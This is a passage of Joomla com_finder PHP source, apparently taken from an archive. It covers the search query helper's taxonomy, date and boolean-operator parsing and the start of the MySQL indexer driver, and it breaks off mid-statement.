		if (empty($filters))
		{
			return true;
		}

		/*
		 * Create the query to get filters from the database. We do this for
		 * two reasons: one, it allows us to ensure that the filters being used
		 * are real; two, we need to sort the filters by taxonomy branch.
		 */
		$query->clear()
			->select('t1.id, t1.title, t2.title AS branch')
			->from($db->quoteName('#__finder_taxonomy') . ' AS t1')
			->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id')
			->where('t1.state = 1')
			->where('t1.access IN (' . $groups . ')')
			->where('t1.id IN (' . implode(',', $filters) . ')')
			->where('t2.state = 1')
			->where('t2.access IN (' . $groups . ')');

		// Load the filters.
		$db->setQuery($query);
		$results = $db->loadObjectList();

		// Sort the filter ids by branch.
		foreach ($results as $result)
		{
			$this->filters[$result->branch][$result->title] = (int) $result->id;
		}

		return true;
	}

	/**
	 * Method to process the dynamic taxonomy input. The dynamic taxonomy input
	 * comes in the form of select fields that the user chooses from. The
	 * dynamic taxonomy input is processed AFTER the static taxonomy input
	 * because the dynamic options can be used to further narrow a static
	 * taxonomy filter.
	 *
	 * @param   array  $filters  An array of taxonomy node ids.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function processDynamicTaxonomy($filters)
	{
		// Initialize user variables
		$groups = implode(',', JFactory::getUser()->getAuthorisedViewLevels());

		// Remove duplicates and sanitize.
		$filters = array_unique($filters);
		$filters = ArrayHelper::toInteger($filters);

		// Remove any values of zero.
		if (in_array(0, $filters, true) !== false)
		{
			unset($filters[array_search(0, $filters, true)]);
		}

		// Check if we have any real input.
		if (empty($filters))
		{
			return true;
		}

		// Get the database object.
		$db = JFactory::getDbo();

		$query = $db->getQuery(true);

		/*
		 * Create the query to get filters from the database. We do this for
		 * two reasons: one, it allows us to ensure that the filters being used
		 * are real; two, we need to sort the filters by taxonomy branch.
		 */
		$query->select('t1.id, t1.title, t2.title AS branch')
			->from($db->quoteName('#__finder_taxonomy') . ' AS t1')
			->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id')
			->where('t1.state = 1')
			->where('t1.access IN (' . $groups . ')')
			->where('t1.id IN (' . implode(',', $filters) . ')')
			->where('t2.state = 1')
			->where('t2.access IN (' . $groups . ')');

		// Load the filters.
		$db->setQuery($query);
		$results = $db->loadObjectList();

		// Cleared filter branches.
		$cleared = array();

		/*
		 * Sort the filter ids by branch. Because these filters are designed to
		 * override and further narrow the items selected in the static filter,
		 * we will clear the values from the static filter on a branch by
		 * branch basis before adding the dynamic filters. So, if the static
		 * filter defines a type filter of "articles" and three "category"
		 * filters but the user only limits the category further, the category
		 * filters will be flushed but the type filters will not.
		 */
		foreach ($results as $result)
		{
			// Check if the branch has been cleared.
			if (!in_array($result->branch, $cleared, true))
			{
				// Clear the branch.
				$this->filters[$result->branch] = array();

				// Add the branch to the cleared list.
				$cleared[] = $result->branch;
			}

			// Add the filter to the list.
			$this->filters[$result->branch][$result->title] = (int) $result->id;
		}

		return true;
	}

	/**
	 * Method to process the query date filters to determine start and end
	 * date limitations.
	 *
	 * @param   string  $date1  The first date filter.
	 * @param   string  $date2  The second date filter.
	 * @param   string  $when1  The first date modifier.
	 * @param   string  $when2  The second date modifier.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function processDates($date1, $date2, $when1, $when2)
	{
		// Clean up the inputs.
		$date1 = trim(StringHelper::strtolower($date1));
		$date2 = trim(StringHelper::strtolower($date2));
		$when1 = trim(StringHelper::strtolower($when1));
		$when2 = trim(StringHelper::strtolower($when2));

		// Get the time offset.
		$offset = JFactory::getApplication()->get('offset');

		// Array of allowed when values.
		$whens = array('before', 'after', 'exact');

		// The value of 'today' is a special case that we need to handle.
		if ($date1 === StringHelper::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY')))
		{
			$date1 = JFactory::getDate('now', $offset)->format('%Y-%m-%d');
		}

		// Try to parse the date string.
		$date = JFactory::getDate($date1, $offset);

		// Check if the date was parsed successfully.
		if ($date->toUnix() !== null)
		{
			// Set the date filter.
			$this->date1 = $date->toSql();
			$this->when1 = in_array($when1, $whens, true) ? $when1 : 'before';
		}

		// The value of 'today' is a special case that we need to handle.
		if ($date2 === StringHelper::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY')))
		{
			$date2 = JFactory::getDate('now', $offset)->format('%Y-%m-%d');
		}

		// Try to parse the date string.
		$date = JFactory::getDate($date2, $offset);

		// Check if the date was parsed successfully.
		if ($date->toUnix() !== null)
		{
			// Set the date filter.
			$this->date2 = $date->toSql();
			$this->when2 = in_array($when2, $whens, true) ? $when2 : 'before';
		}

		return true;
	}

	/**
	 * Method to process the query input string and extract required, optional,
	 * and excluded tokens; taxonomy filters; and date filters.
	 *
	 * @param   string  $input  The query input string.
	 * @param   string  $lang   The query input language.
	 * @param   string  $mode   The query matching mode.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function processString($input, $lang, $mode)
	{
		// Clean up the input string.
		$input = html_entity_decode($input, ENT_QUOTES, 'UTF-8');
		$input = StringHelper::strtolower($input);
		$input = preg_replace('#\s+#mi', ' ', $input);
		$input = trim($input);
		$debug = JFactory::getConfig()->get('debug_lang');

		/*
		 * First, we need to handle string based modifiers. String based
		 * modifiers could potentially include things like "category:blah" or
		 * "before:2009-10-21" or "type:article", etc.
		 */
		$patterns = array(
			'before' => JText::_('COM_FINDER_FILTER_WHEN_BEFORE'),
			'after'  => JText::_('COM_FINDER_FILTER_WHEN_AFTER'),
		);

		// Add the taxonomy branch titles to the possible patterns.
		foreach (FinderIndexerTaxonomy::getBranchTitles() as $branch)
		{
			// Add the pattern.
			$patterns[$branch] = StringHelper::strtolower(JText::_(FinderHelperLanguage::branchSingular($branch)));
		}

		// Container for search terms and phrases.
		$terms   = array();
		$phrases = array();

		// Cleared filter branches.
		$cleared = array();

		/*
		 * Compile the suffix pattern. This is used to match the values of the
		 * filter input string. Single words can be input directly, multi-word
		 * values have to be wrapped in double quotes.
		 */
		$quotes = html_entity_decode('&#8216;&#8217;&#39;', ENT_QUOTES, 'UTF-8');
		$suffix = '(([\w\d' . $quotes . '-]+)|\"([\w\d\s' . $quotes . '-]+)\")';

		/*
		 * Iterate through the possible filter patterns and search for matches.
		 * We need to match the key, colon, and a value pattern for the match
		 * to be valid.
		 */
		foreach ($patterns as $modifier => $pattern)
		{
			$matches = array();

			if ($debug)
			{
				$pattern = substr($pattern, 2, -2);
			}

			// Check if the filter pattern is in the input string.
			if (preg_match('#' . $pattern . '\s*:\s*' . $suffix . '#mi', $input, $matches))
			{
				// Get the value given to the modifier.
				$value = isset($matches[3]) ? $matches[3] : $matches[1];

				// Now we have to handle the filter string.
				switch ($modifier)
				{
					// Handle a before and after date filters.
					case 'before':
					case 'after':
					{
						// Get the time offset.
						$offset = JFactory::getApplication()->get('offset');

						// Array of allowed when values.
						$whens = array('before', 'after', 'exact');

						// The value of 'today' is a special case that we need to handle.
						if ($value === StringHelper::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY')))
						{
							$value = JFactory::getDate('now', $offset)->format('%Y-%m-%d');
						}

						// Try to parse the date string.
						$date = JFactory::getDate($value, $offset);

						// Check if the date was parsed successfully.
						if ($date->toUnix() !== null)
						{
							// Set the date filter.
							$this->date1 = $date->toSql();
							$this->when1 = in_array($modifier, $whens, true) ? $modifier : 'before';
						}

						break;
					}

					// Handle a taxonomy branch filter.
					default:
					{
						// Try to find the node id.
						$return = FinderIndexerTaxonomy::getNodeByTitle($modifier, $value);

						// Check if the node id was found.
						if ($return)
						{
							// Check if the branch has been cleared.
							if (!in_array($modifier, $cleared, true))
							{
								// Clear the branch.
								$this->filters[$modifier] = array();

								// Add the branch to the cleared list.
								$cleared[] = $modifier;
							}

							// Add the filter to the list.
							$this->filters[$modifier][$return->title] = (int) $return->id;
						}

						break;
					}
				}

				// Clean up the input string again.
				$input = str_replace($matches[0], '', $input);
				$input = preg_replace('#\s+#mi', ' ', $input);
				$input = trim($input);
			}
		}

		/*
		 * Extract the tokens enclosed in double quotes so that we can handle
		 * them as phrases.
		 */
		if (StringHelper::strpos($input, '"') !== false)
		{
			$matches = array();

			// Extract the tokens enclosed in double quotes.
			if (preg_match_all('#\"([^"]+)\"#m', $input, $matches))
			{
				/*
				 * One or more phrases were found so we need to iterate through
				 * them, tokenize them as phrases, and remove them from the raw
				 * input string before we move on to the next processing step.
				 */
				foreach ($matches[1] as $key => $match)
				{
					// Find the complete phrase in the input string.
					$pos = StringHelper::strpos($input, $matches[0][$key]);
					$len = StringHelper::strlen($matches[0][$key]);

					// Add any terms that are before this phrase to the stack.
					if (trim(StringHelper::substr($input, 0, $pos)))
					{
						$terms = array_merge($terms, explode(' ', trim(StringHelper::substr($input, 0, $pos))));
					}

					// Strip out everything up to and including the phrase.
					$input = StringHelper::substr($input, $pos + $len);

					// Clean up the input string again.
					$input = preg_replace('#\s+#mi', ' ', $input);
					$input = trim($input);

					// Get the number of words in the phrase.
					$parts = explode(' ', $match);

					// Check if the phrase is longer than three words.
					if (count($parts) > 3)
					{
						/*
						 * If the phrase is longer than three words, we need to
						 * break it down into smaller chunks of phrases that
						 * are less than or equal to three words. We overlap
						 * the chunks so that we can ensure that a match is
						 * found for the complete phrase and not just portions
						 * of it.
						 */
						for ($i = 0, $c = count($parts); $i < $c; $i += 2)
						{
							// Set up the chunk.
							$chunk = array();

							// The chunk has to be assembled based on how many
							// pieces are available to use.
							switch ($c - $i)
							{
								/*
								 * If only one word is left, we can break from
								 * the switch and loop because the last word
								 * was already used at the end of the last
								 * chunk.
								 */
								case 1:
									break 2;

								// If there words are left, we use them both as
								// the last chunk of the phrase and we're done.
								case 2:
									$chunk[] = $parts[$i];
									$chunk[] = $parts[$i + 1];
									break;

								// If there are three or more words left, we
								// build a three word chunk and continue on.
								default:
									$chunk[] = $parts[$i];
									$chunk[] = $parts[$i + 1];
									$chunk[] = $parts[$i + 2];
									break;
							}

							// If the chunk is not empty, add it as a phrase.
							if (count($chunk))
							{
								$phrases[] = implode(' ', $chunk);
								$terms[]   = implode(' ', $chunk);
							}
						}
					}
					else
					{
						// The phrase is <= 3 words so we can use it as is.
						$phrases[] = $match;
						$terms[]   = $match;
					}
				}
			}
		}

		// Add the remaining terms if present.
		if ((bool) $input)
		{
			$terms = array_merge($terms, explode(' ', $input));
		}

		// An array of our boolean operators. $operator => $translation
		$operators = array(
			'AND' => StringHelper::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_AND')),
			'OR'  => StringHelper::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_OR')),
			'NOT' => StringHelper::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_NOT')),
		);

		// If language debugging is enabled you need to ignore the debug strings in matching.
		if (JDEBUG)
		{
			$debugStrings = array('**', '??');
			$operators    = str_replace($debugStrings, '', $operators);
		}

		/*
		 * Iterate through the terms and perform any sorting that needs to be
		 * done based on boolean search operators. Terms that are before an
		 * and/or/not modifier have to be handled in relation to their operator.
		 */
		for ($i = 0, $c = count($terms); $i < $c; $i++)
		{
			// Check if the term is followed by an operator that we understand.
			if (isset($terms[$i + 1]) && in_array($terms[$i + 1], $operators, true))
			{
				// Get the operator mode.
				$op = array_search($terms[$i + 1], $operators, true);

				// Handle the AND operator.
				if ($op === 'AND' && isset($terms[$i + 2]))
				{
					// Tokenize the current term.
					$token = FinderIndexerHelper::tokenize($terms[$i], $lang, true);

					// Todo: The previous function call may return an array, which seems not to be handled by the next one, which expects an object
					$token = $this->getTokenData($token);

					// Set the required flag.
					$token->required = true;

					// Add the current token to the stack.
					$this->included[] = $token;
					$this->highlight  = array_merge($this->highlight, array_keys($token->matches));

					// Skip the next token (the mode operator).
					$this->operators[] = $terms[$i + 1];

					// Tokenize the term after the next term (current plus two).
					$other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true);
					$other = $this->getTokenData($other);

					// Set the required flag.
					$other->required = true;

					// Add the token after the next token to the stack.
					$this->included[] = $other;
					$this->highlight  = array_merge($this->highlight, array_keys($other->matches));

					// Remove the processed phrases if possible.
					if (($pk = array_search($terms[$i], $phrases, true)) !== false)
					{
						unset($phrases[$pk]);
					}

					if (($pk = array_search($terms[$i + 2], $phrases, true)) !== false)
					{
						unset($phrases[$pk]);
					}

					// Remove the processed terms.
					unset($terms[$i], $terms[$i + 1], $terms[$i + 2]);

					// Adjust the loop.
					$i += 2;
					continue;
				}
				// Handle the OR operator.
				elseif ($op === 'OR' && isset($terms[$i + 2]))
				{
					// Tokenize the current term.
					$token = FinderIndexerHelper::tokenize($terms[$i], $lang, true);
					$token = $this->getTokenData($token);

					// Set the required flag.
					$token->required = false;

					// Add the current token to the stack.
					if ((bool) $token->matches)
					{
						$this->included[] = $token;
						$this->highlight  = array_merge($this->highlight, array_keys($token->matches));
					}
					else
					{
						$this->ignored[] = $token;
					}

					// Skip the next token (the mode operator).
					$this->operators[] = $terms[$i + 1];

					// Tokenize the term after the next term (current plus two).
					$other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true);
					$other = $this->getTokenData($other);

					// Set the required flag.
					$other->required = false;

					// Add the token after the next token to the stack.
					if ((bool) $other->matches)
					{
						$this->included[] = $other;
						$this->highlight  = array_merge($this->highlight, array_keys($other->matches));
					}
					else
					{
						$this->ignored[] = $other;
					}

					// Remove the processed phrases if possible.
					if (($pk = array_search($terms[$i], $phrases, true)) !== false)
					{
						unset($phrases[$pk]);
					}

					if (($pk = array_search($terms[$i + 2], $phrases, true)) !== false)
					{
						unset($phrases[$pk]);
					}

					// Remove the processed terms.
					unset($terms[$i], $terms[$i + 1], $terms[$i + 2]);

					// Adjust the loop.
					$i += 2;
					continue;
				}
			}
			// Handle an orphaned OR operator.
			elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators, true) === 'OR')
			{
				// Skip the next token (the mode operator).
				$this->operators[] = $terms[$i];

				// Tokenize the next term (current plus one).
				$other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true);
				$other = $this->getTokenData($other);

				// Set the required flag.
				$other->required = false;

				// Add the token after the next token to the stack.
				if ((bool) $other->matches)
				{
					$this->included[] = $other;
					$this->highlight  = array_merge($this->highlight, array_keys($other->matches));
				}
				else
				{
					$this->ignored[] = $other;
				}

				// Remove the processed phrase if possible.
				if (($pk = array_search($terms[$i + 1], $phrases, true)) !== false)
				{
					unset($phrases[$pk]);
				}

				// Remove the processed terms.
				unset($terms[$i], $terms[$i + 1]);

				// Adjust the loop.
				$i++;
				continue;
			}
			// Handle the NOT operator.
			elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators, true) === 'NOT')
			{
				// Skip the next token (the mode operator).
				$this->operators[] = $terms[$i];

				// Tokenize the next term (current plus one).
				$other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true);
				$other = $this->getTokenData($other);

				// Set the required flag.
				$other->required = false;

				// Add the next token to the stack.
				if ((bool) $other->matches)
				{
					$this->excluded[] = $other;
				}
				else
				{
					$this->ignored[] = $other;
				}

				// Remove the processed phrase if possible.
				if (($pk = array_search($terms[$i + 1], $phrases, true)) !== false)
				{
					unset($phrases[$pk]);
				}

				// Remove the processed terms.
				unset($terms[$i], $terms[$i + 1]);

				// Adjust the loop.
				$i++;
				continue;
			}
		}

		/*
		 * Iterate through any search phrases and tokenize them. We handle
		 * phrases as autonomous units and do not break them down into two and
		 * three word combinations.
		 */
		for ($i = 0, $c = count($phrases); $i < $c; $i++)
		{
			// Tokenize the phrase.
			$token = FinderIndexerHelper::tokenize($phrases[$i], $lang, true);
			$token = $this->getTokenData($token);

			// Set the required flag.
			$token->required = true;

			// Add the current token to the stack.
			$this->included[] = $token;
			$this->highlight  = array_merge($this->highlight, array_keys($token->matches));

			// Remove the processed term if possible.
			if (($pk = array_search($phrases[$i], $terms, true)) !== false)
			{
				unset($terms[$pk]);
			}

			// Remove the processed phrase.
			unset($phrases[$i]);
		}

		/*
		 * Handle any remaining tokens using the standard processing mechanism.
		 */
		if ((bool) $terms)
		{
			// Tokenize the terms.
			$terms  = implode(' ', $terms);
			$tokens = FinderIndexerHelper::tokenize($terms, $lang, false);

			// Make sure we are working with an array.
			$tokens = is_array($tokens) ? $tokens : array($tokens);

			// Get the token data and required state for all the tokens.
			foreach ($tokens as $token)
			{
				// Get the token data.
				$token = $this->getTokenData($token);

				// Set the required flag for the token.
				$token->required = $mode === 'AND' ? (!$token->phrase) : false;

				// Add the token to the appropriate stack.
				if ($token->required || (bool) $token->matches)
				{
					$this->included[] = $token;
					$this->highlight  = array_merge($this->highlight, array_keys($token->matches));
				}
				else
				{
					$this->ignored[] = $token;
				}
			}
		}

		return true;
	}

	/**
	 * Method to get the base and similar term ids and, if necessary, suggested
	 * term data from the database. The terms ids are identified based on a
	 * 'like' match in MySQL and/or a common stem. If no term ids could be
	 * found, then we know that we will not be able to return any results for
	 * that term and we should try to find a similar term to use that we can
	 * match so that we can suggest the alternative search query to the user.
	 *
	 * @param   FinderIndexerToken  $token  A FinderIndexerToken object.
	 *
	 * @return  FinderIndexerToken  A FinderIndexerToken object.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getTokenData($token)
	{
		// Get the database object.
		$db = JFactory::getDbo();

		// Create a database query to build match the token.
		$query = $db->getQuery(true)
			->select('t.term, t.term_id')
			->from('#__finder_terms AS t');

		/*
		 * If the token is a phrase, the lookup process is fairly simple. If
		 * the token is a word, it is a little more complicated. We have to
		 * create two queries to lookup the term and the stem respectively,
		 * then union the result sets together. This is MUCH faster than using
		 * an or condition in the database query.
		 */
		if ($token->phrase)
		{
			// Add the phrase to the query.
			$query->where('t.term = ' . $db->quote($token->term))
				->where('t.phrase = 1');
		}
		else
		{
			// Add the term to the query.
			$query->where('t.term = ' . $db->quote($token->term))
				->where('t.phrase = 0');

			// Clone the query, replace the WHERE clause.
			$sub = clone $query;
			$sub->clear('where');
			$sub->where('t.stem = ' . $db->quote($token->stem));
			$sub->where('t.phrase = 0');

			// Union the two queries.
			$query->union($sub);
		}

		// Get the terms.
		$db->setQuery($query);
		$matches = $db->loadObjectList();

		// Check the matching terms.
		if ((bool) $matches)
		{
			// Add the matches to the token.
			for ($i = 0, $c = count($matches); $i < $c; $i++)
			{
				$token->matches[$matches[$i]->term] = (int) $matches[$i]->term_id;
			}
		}

		// If no matches were found, try to find a similar but better token.
		if (empty($token->matches))
		{
			// Create a database query to get the similar terms.
			// TODO: PostgreSQL doesn't support SOUNDEX out of the box
			$query->clear()
				->select('DISTINCT t.term_id AS id, t.term AS term')
				->from('#__finder_terms AS t')
				// ->where('t.soundex = ' . soundex($db->quote($token->term)))
				->where('t.soundex = SOUNDEX(' . $db->quote($token->term) . ')')
				->where('t.phrase = ' . (int) $token->phrase);

			// Get the terms.
			$db->setQuery($query);
			$results = $db->loadObjectList();

			// Check if any similar terms were found.
			if (empty($results))
			{
				return $token;
			}

			// Stack for sorting the similar terms.
			$suggestions = array();

			// Get the levnshtein distance for all suggested terms.
			foreach ($results as $sk => $st)
			{
				// Get the levenshtein distance between terms.
				$distance = levenshtein($st->term, $token->term);

				// Make sure the levenshtein distance isn't over 50.
				if ($distance < 50)
				{
					$suggestions[$sk] = $distance;
				}
			}

			// Sort the suggestions.
			asort($suggestions, SORT_NUMERIC);

			// Get the closest match.
			$keys = array_keys($suggestions);
			$key  = $keys[0];

			// Add the suggested term.
			$token->suggestion = $results[$key]->term;
		}

		return $token;
	}
}
com_finder/helpers/indexer/driver/mysql.php000060400000046020152455305310015123 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

jimport('joomla.filesystem.file');

/**
 * Indexer class supporting MySQL(i) for the Finder indexer package.
 *
 * The indexer class provides the core functionality of the Finder
 * search engine. It is responsible for adding and updating the
 * content links table; extracting and scoring tokens; and maintaining
 * all referential information for the content.
 *
 * Note: All exceptions thrown from within this class should be caught
 * by the controller.
 *
 * @since  3.0
 */
class FinderIndexerDriverMysql extends FinderIndexer
{
	/**
	 * Method to index a content item.
	 *
	 * @param   FinderIndexerResult  $item    The content item to index.
	 * @param   string               $format  The format of the content. [optional]
	 *
	 * @return  integer  The ID of the record in the links table.
	 *
	 * @since   3.0
	 * @throws  Exception on database error.
	 */
	public function index($item, $format = 'html')
	{
		// Mark beforeIndexing in the profiler.
		static::$profiler ? static::$profiler->mark('beforeIndexing') : null;
		$db = $this->db;
		$nd = $db->getNullDate();

		// Check if the item is in the database.
		$query = $db->getQuery(true)
			->select($db->quoteName('link_id') . ', ' . $db->quoteName('md5sum'))
			->from($db->quoteName('#__finder_links'))
			->where($db->quoteName('url') . ' = ' . $db->quote($item->url));

		// Load the item  from the database.
		$db->setQuery($query);
		$link = $db->loadObject();

		// Get the indexer state.
		$state = static::getState();

		// Get the signatures of the item.
		$curSig = static::getSignature($item);
		$oldSig = isset($link->md5sum) ? $link->md5sum : null;

		// Get the other item information.
		$linkId = empty($link->link_id) ? null : $link->link_id;
		$isNew = empty($link->link_id) ? true : false;

		// Check the signatures. If they match, the item is up to date.
		if (!$isNew && $curSig == $oldSig)
		{
			return $linkId;
		}

		/*
		 * If the link already exists, flush all the term maps for the item.
		 * Maps are stored in 16 tables so we need to iterate through and flush
		 * each table one at a time.
		 */
		if (!$isNew)
		{
			for ($i = 0; $i <= 15; $i++)
			{
				// Flush the maps for the link.
				$query->clear()
					->delete($db->quoteName('#__finder_links_terms' . dechex($i)))
					->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
				$db->setQuery($query);
				$db->execute();
			}

			// Remove the taxonomy maps.
			FinderIndexerTaxonomy::removeMaps($linkId);
		}

		// Mark afterUnmapping in the profiler.
		static::$profiler ? static::$profiler->mark('afterUnmapping') : null;

		// Perform cleanup on the item data.
		$item->publish_start_date = (int) $item->publish_start_date != 0 ? $item->publish_start_date : $nd;
		$item->publish_end_date = (int) $item->publish_end_date != 0 ? $item->publish_end_date : $nd;
		$item->start_date = (int) $item->start_date != 0 ? $item->start_date : $nd;
		$item->end_date = (int) $item->end_date != 0 ? $item->end_date : $nd;

		// Prepare the item description.
		$item->description = FinderIndexerHelper::parse($item->summary);

		/*
		 * Now, we need to enter the item into the links table. If the item
		 * already exists in the database, we need to use an UPDATE query.
		 * Otherwise, we need to use an INSERT to get the link id back.
		 */

		if ($isNew)
		{
			$columnsArray = array(
				$db->quoteName('url'), $db->quoteName('route'), $db->quoteName('title'), $db->quoteName('description'),
				$db->quoteName('indexdate'), $db->quoteName('published'), $db->quoteName('state'), $db->quoteName('access'),
				$db->quoteName('language'), $db->quoteName('type_id'), $db->quoteName('object'), $db->quoteName('publish_start_date'),
				$db->quoteName('publish_end_date'), $db->quoteName('start_date'), $db->quoteName('end_date'), $db->quoteName('list_price'),
				$db->quoteName('sale_price')
			);

			// Insert the link.
			$query->clear()
				->insert($db->quoteName('#__finder_links'))
				->columns($columnsArray)
				->values(
					$db->quote($item->url) . ', '
					. $db->quote($item->route) . ', '
					. $db->quote($item->title) . ', '
					. $db->quote($item->description) . ', '
					. $query->currentTimestamp() . ', '
					. '1, '
					. (int) $item->state . ', '
					. (int) $item->access . ', '
					. $db->quote($item->language) . ', '
					. (int) $item->type_id . ', '
					. $db->quote(serialize($item)) . ', '
					. $db->quote($item->publish_start_date) . ', '
					. $db->quote($item->publish_end_date) . ', '
					. $db->quote($item->start_date) . ', '
					. $db->quote($item->end_date) . ', '
					. (double) ($item->list_price ?: 0) . ', '
					. (double) ($item->sale_price ?: 0)
				);
			$db->setQuery($query);
			$db->execute();

			// Get the link id.
			$linkId = (int) $db->insertid();
		}
		else
		{
			// Update the link.
			$query->clear()
				->update($db->quoteName('#__finder_links'))
				->set($db->quoteName('route') . ' = ' . $db->quote($item->route))
				->set($db->quoteName('title') . ' = ' . $db->quote($item->title))
				->set($db->quoteName('description') . ' = ' . $db->quote($item->description))
				->set($db->quoteName('indexdate') . ' = ' . $query->currentTimestamp())
				->set($db->quoteName('state') . ' = ' . (int) $item->state)
				->set($db->quoteName('access') . ' = ' . (int) $item->access)
				->set($db->quoteName('language') . ' = ' . $db->quote($item->language))
				->set($db->quoteName('type_id') . ' = ' . (int) $item->type_id)
				->set($db->quoteName('object') . ' = ' . $db->quote(serialize($item)))
				->set($db->quoteName('publish_start_date') . ' = ' . $db->quote($item->publish_start_date))
				->set($db->quoteName('publish_end_date') . ' = ' . $db->quote($item->publish_end_date))
				->set($db->quoteName('start_date') . ' = ' . $db->quote($item->start_date))
				->set($db->quoteName('end_date') . ' = ' . $db->quote($item->end_date))
				->set($db->quoteName('list_price') . ' = ' . (double) ($item->list_price ?: 0))
				->set($db->quoteName('sale_price') . ' = ' . (double) ($item->sale_price ?: 0))
				->where('link_id = ' . (int) $linkId);
			$db->setQuery($query);
			$db->execute();
		}

		// Set up the variables we will need during processing.
		$count = 0;

		// Mark afterLinking in the profiler.
		static::$profiler ? static::$profiler->mark('afterLinking') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		/*
		 * Process the item's content. The items can customize their
		 * processing instructions to define extra properties to process
		 * or rearrange how properties are weighted.
		 */
		foreach ($item->getInstructions() as $group => $properties)
		{
			// Iterate through the properties of the group.
			foreach ($properties as $property)
			{
				// Check if the property exists in the item.
				if (empty($item->$property))
				{
					continue;
				}

				// Tokenize the property.
				if (is_array($item->$property))
				{
					// Tokenize an array of content and add it to the database.
					foreach ($item->$property as $ip)
					{
						/*
						 * If the group is path, we need to a few extra processing
						 * steps to strip the extension and convert slashes and dashes
						 * to spaces.
						 */
						if ($group === static::PATH_CONTEXT)
						{
							$ip = JFile::stripExt($ip);
							$ip = str_replace(array('/', '-'), ' ', $ip);
						}

						// Tokenize a string of content and add it to the database.
						$count += $this->tokenizeToDb($ip, $group, $item->language, $format);

						// Check if we're approaching the memory limit of the token table.
						if ($count > static::$state->options->get('memory_table_limit', 30000))
						{
							$this->toggleTables(false);
						}
					}
				}
				else
				{
					/*
					 * If the group is path, we need to a few extra processing
					 * steps to strip the extension and convert slashes and dashes
					 * to spaces.
					 */
					if ($group === static::PATH_CONTEXT)
					{
						$item->$property = JFile::stripExt($item->$property);
						$item->$property = str_replace('/', ' ', $item->$property);
						$item->$property = str_replace('-', ' ', $item->$property);
					}

					// Tokenize a string of content and add it to the database.
					$count += $this->tokenizeToDb($item->$property, $group, $item->language, $format);

					// Check if we're approaching the memory limit of the token table.
					if ($count > static::$state->options->get('memory_table_limit', 30000))
					{
						$this->toggleTables(false);
					}
				}
			}
		}

		/*
		 * Process the item's taxonomy. The items can customize their
		 * taxonomy mappings to define extra properties to map.
		 */
		foreach ($item->getTaxonomy() as $branch => $nodes)
		{
			// Iterate through the nodes and map them to the branch.
			foreach ($nodes as $node)
			{
				// Add the node to the tree.
				$nodeId = FinderIndexerTaxonomy::addNode($branch, $node->title, $node->state, $node->access);

				// Add the link => node map.
				FinderIndexerTaxonomy::addMap($linkId, $nodeId);
			}
		}

		// Mark afterProcessing in the profiler.
		static::$profiler ? static::$profiler->mark('afterProcessing') : null;

		/*
		 * At this point, all of the item's content has been parsed, tokenized
		 * and inserted into the #__finder_tokens table. Now, we need to
		 * aggregate all the data into that table into a more usable form. The
		 * aggregated data will be inserted into #__finder_tokens_aggregate
		 * table.
		 */
		$query = 'INSERT INTO ' . $db->quoteName('#__finder_tokens_aggregate') .
			' (' . $db->quoteName('term_id') .
			', ' . $db->quoteName('map_suffix') .
				', ' . $db->quoteName('term') .
			', ' . $db->quoteName('stem') .
			', ' . $db->quoteName('common') .
			', ' . $db->quoteName('phrase') .
			', ' . $db->quoteName('term_weight') .
			', ' . $db->quoteName('context') .
			', ' . $db->quoteName('context_weight') .
			', ' . $db->quoteName('total_weight') .
				', ' . $db->quoteName('language') . ')' .
			' SELECT' .
			' COALESCE(t.term_id, 0), \'\', t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context,' .
			' ROUND( t1.weight * COUNT( t2.term ) * %F, 8 ) AS context_weight, 0, t1.language' .
			' FROM (' .
			'   SELECT DISTINCT t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context, t1.language' .
			'   FROM ' . $db->quoteName('#__finder_tokens') . ' AS t1' .
			'   WHERE t1.context = %d' .
			' ) AS t1' .
			' JOIN ' . $db->quoteName('#__finder_tokens') . ' AS t2 ON t2.term = t1.term' .
			' LEFT JOIN ' . $db->quoteName('#__finder_terms') . ' AS t ON t.term = t1.term' .
			' WHERE t2.context = %d' .
			' GROUP BY t1.term, t.term_id, t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context, t1.language' .
			' ORDER BY t1.term DESC';

		// Iterate through the contexts and aggregate the tokens per context.
		foreach ($state->weights as $context => $multiplier)
		{
			// Run the query to aggregate the tokens for this context..
			$db->setQuery(sprintf($query, $multiplier, $context, $context));
			$db->execute();
		}

		// Mark afterAggregating in the profiler.
		static::$profiler ? static::$profiler->mark('afterAggregating') : null;

		/*
		 * When we pulled down all of the aggregate data, we did a LEFT JOIN
		 * over the terms table to try to find all the term ids that
		 * already exist for our tokens. If any of the rows in the aggregate
		 * table have a term of 0, then no term record exists for that
		 * term so we need to add it to the terms table.
		 */
		$db->setQuery(
			'INSERT IGNORE INTO ' . $db->quoteName('#__finder_terms') .
			' (' . $db->quoteName('term') .
			', ' . $db->quoteName('stem') .
			', ' . $db->quoteName('common') .
			', ' . $db->quoteName('phrase') .
